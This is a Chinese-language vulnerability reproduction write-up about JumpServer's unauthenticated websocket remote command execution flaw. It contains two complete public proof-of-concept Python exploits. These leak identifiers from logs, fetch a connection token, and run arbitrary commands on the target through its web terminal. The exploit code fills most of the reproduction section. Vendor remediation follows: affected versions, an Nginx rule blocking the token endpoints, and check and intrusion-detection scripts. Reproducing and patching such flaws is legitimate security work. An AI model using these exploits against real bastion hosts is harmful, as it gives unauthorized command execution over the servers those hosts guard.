漏洞背景 JumpServer 是全球首款完全开源的堡垒机, 使用 GNU GPL v2.0 开源协议, 是符合 4A 的专业运维审计系统。 使用 Python / Django 进行开发, 遵循 Web 2.0 规范, 配备了业界领先的 Web Terminal 解决方案, 交互界面美观、用户体验好。 采纳分布式架构, 支持多机房跨区域部署, 中心节点提供 API, 各机房部署登录节点, 可横向扩展、无并发访问限制。
由于JumpServer 程序中连接websocket的接口未做授权限制,导致攻击者可构造恶意请求获取服务器敏感信息,通过敏感信息中的相关参数,可构造请求获取相应token ,进而可通过相关API操作来执行任意命令。
漏洞环境搭建 参考这位师傅的文章:https://www.o2oxy.cn/2921.html
1 2 3 4 User Check ........................ [ OK ] OS Check ........................ [ ERROR ] 操作系统类型版本不符合要求,请使用 CentOS 7 CPU Check ........................ [ ERROR ] CPU 小于 2核,JumpServer 所在机器的 CPU 需要至少 2核 Memory Check ........................ [ ERROR ] 内存小于 8G,JumpServer 所在机器的内存需要至少 8G
2核8G。。之前傻逼了,以为CentOS安装好后,重启成为命令行模式,以为是错的,结果这是以为没有安装gui。
https://zhuanlan.zhihu.com/p/126601630
CentOS 7 :https://mirrors.ustc.edu.cn/centos/7.9.2009/isos/x86_64/
漏洞复现 公开POC 1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 import asyncioimport websocketsimport requestsimport jsonurl = "/api/v1/authentication/connection-token/?user-only=None" async def send_msg (websocket,_text ): if _text == "exit" : print(f'you have enter "exit", goodbye' ) await websocket.close(reason="user exit" ) return False await websocket.send(_text) recv_text = await websocket.recv() print(f"{recv_text} " ) async def main_logic (cmd ): print("#######start ws" ) async with websockets.connect(target) as websocket: recv_text = await websocket.recv() print(f"{recv_text} " ) resws=json.loads(recv_text) id = resws['id' ] print("get ws id:" +id) print("###############" ) print("init ws" ) print("###############" ) inittext = json.dumps({"id" : id, "type" : "TERMINAL_INIT" , "data" : "{\"cols\":164,\"rows\":17}" }) await send_msg(websocket,inittext) for i in range(20 ): recv_text = await websocket.recv() print(f"{recv_text} " ) print("###############" ) print("exec cmd: ls" ) cmdtext = json.dumps({"id" : id, "type" : "TERMINAL_DATA" , "data" : cmd+"\r\n" }) print(cmdtext) await send_msg(websocket, cmdtext) for i in range(20 ): recv_text = await websocket.recv() print(f"{recv_text} " ) print('#######finish' ) if __name__ == '__main__' : try : import sys host=sys.argv[1 ] cmd=sys.argv[2 ] if host[-1 ]=='/' : host=host[:-1 ] print(host) data = {"user" : "4320ce47-e0e0-4b86-adb1-675ca611ea0c" , "asset" : "ccb9c6d7-6221-445e-9fcc-b30c95162825" , "system_user" : "79655e4e-1741-46af-a793-fff394540a52" } print("##################" ) print("get token url:%s" % (host + url,)) print("##################" ) res = requests.post(host + url, json=data) token = res.json()["token" ] print("token:%s" , (token,)) print("##################" ) target = "ws://" + host.replace("http://" , '' ) + "/koko/ws/token/?target_id=" + token print("target ws:%s" % (target,)) asyncio.get_event_loop().run_until_complete(main_logic(cmd)) except : print("python jumpserver.py http://192.168.1.73 whoami" )
公开POC 2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 import asyncioimport websocketsimport jsonimport requestsimport retarget_url = 'http://127.0.0.1' cmd = "ifconfig" async def get_token (): print('========================================================================================================================================================' ) url = target_url.replace("http" , "ws" ) + "/ws/ops/tasks/log/" print("Request => " + url + "token" ) async with websockets.connect(url, timeout=3 ) as websocket: await websocket.send('{"task":"/opt/jumpserver/logs/gunicorn"}' ) for x in range(1000 ): try : rs = await asyncio.wait_for(websocket.recv(), timeout=3 ) print("Recv => " + rs) if '/api/v1/perms/asset-permissions/user/validate' in rs: break except : print("Vulnerability may not exist" ) exit() print('========================================================================================================================================================' ) print('Vulnerability may exist' ) pattern = re.compile(r'asset_id=(.*?)&cache_policy=1&system_user_id=(.*?)&user_id=(.*?) ' ) matchObj = pattern.search(rs) if matchObj: asset_id = matchObj.group(1 ) print('asset_id = ' + asset_id) system_user_id = matchObj.group(2 ) print('system_user_id = ' + system_user_id) user_id = matchObj.group(3 ) print('user_id = ' + user_id) print('========================================================================================================================================================' ) data = {'asset' : asset_id, 'system_user' : system_user_id, 'user' : user_id} url = target_url + '/api/v1/users/connection-token/?user-only=1' print("Request => " + url + ' get token' ) response = requests.post(url, json=data).json() print('token = ' + response['token' ]) print('========================================================================================================================================================' ) return response['token' ] async def attack (url ): async with websockets.connect(url, timeout=3 ) as websocket: print("Request => " + url) rs = await websocket.recv() print("Recv => " + rs) id = json.loads(rs)["id" ] print("id = " + id) print('========================================================================================================================================================' ) init_payload = json.dumps({"id" : id, "type" : "TERMINAL_INIT" , "data" : "{\"cols\":164,\"rows\":17}" }) print("Request => " + "TERMINAL_INIT" ) await websocket.send(init_payload) rs = await websocket.recv() print("Recv => " + rs) rs = "" while "Last login" not in rs: rs = await websocket.recv() print("Recv => " + rs) cmd_payload = json.dumps({"id" : id, "type" : "TERMINAL_DATA" , "data" : cmd + "\r\n" }) print("Request => " + "Cmd Payload" ) await websocket.send(cmd_payload) for x in range(1000 ): try : rs = await asyncio.wait_for(websocket.recv(), timeout=3 ) print("Recv => " + rs) except : print('========================================================================================================================================================' ) print('recv data end' ) break def exp (): token = asyncio.get_event_loop().run_until_complete(get_token()) url = target_url.replace("http" , "ws" ) + "/koko/ws/token/?target_id=" + token asyncio.get_event_loop().run_until_complete(attack(url)) if __name__ == '__main__' : exp()
漏洞修复 参考 https://github.com/jumpserver/jumpserver
紧急BUG修复通知 JumpServer发现远程执行漏洞,请速度修复
非常感谢 reactivity of Alibaba Hackerone bug bounty program (瑞典) 向我们报告了此 BUG
影响版本:
1 2 3 4 5 < v2.6.2 < v2.5.4 < v2.4.5 = v1.5.9 >= v1.5.3
安全版本:
1 2 3 4 5 >= v2.6.2 >= v2.5.4 >= v2.4.5 = v1.5.9 (版本号没变) < v1.5.3
修复方案:
将JumpServer升级至安全版本;
临时修复方案:
修改 Nginx 配置文件屏蔽漏洞接口
1 2 /api/v1/authentication/connection-token/ /api/v1/users/connection-token/
Nginx 配置文件位置
1 2 3 4 5 6 7 8 # 社区老版本 /etc/nginx/conf.d/jumpserver.conf # 企业老版本 jumpserver-release/nginx/http_server.conf # 新版本在 jumpserver-release/compose/config_static/http_server.conf
修改 Nginx 配置文件实例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ### 保证在 /api 之前 和 / 之前 location /api/v1/authentication/connection-token/ { return 403; } location /api/v1/users/connection-token/ { return 403; } ### 新增以上这些 location /api/ { proxy_set_header X-Real-IP $remote_addr; proxy_set_header Host $host; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_pass http://core:8080; } ...
修改完成后重启 nginx
1 2 3 4 5 docker方式: docker restart jms_nginx nginx方式: systemctl restart nginx
修复验证
1 2 3 4 5 $ wget https://github.com/jumpserver/jumpserver/releases/download/v2.6.2/jms_bug_check.sh # 使用方法 bash jms_bug_check.sh HOST $ bash jms_bug_check.sh demo.jumpserver.org 漏洞已修复
入侵检测
下载脚本到 jumpserver 日志目录,这个目录中存在 gunicorn.log,然后执行
1 2 3 4 5 6 7 8 9 $ pwd /opt/jumpserver/core/logs $ ls gunicorn.log gunicorn.log $ wget 'https://github.com/jumpserver/jumpserver/releases/download/v2.6.2/jms_check_attack.sh' $ bash jms_check_attack.sh 系统未被入侵
参考资料 https://mp.weixin.qq.com/s/KGRU47o7JtbgOC9xwLJARw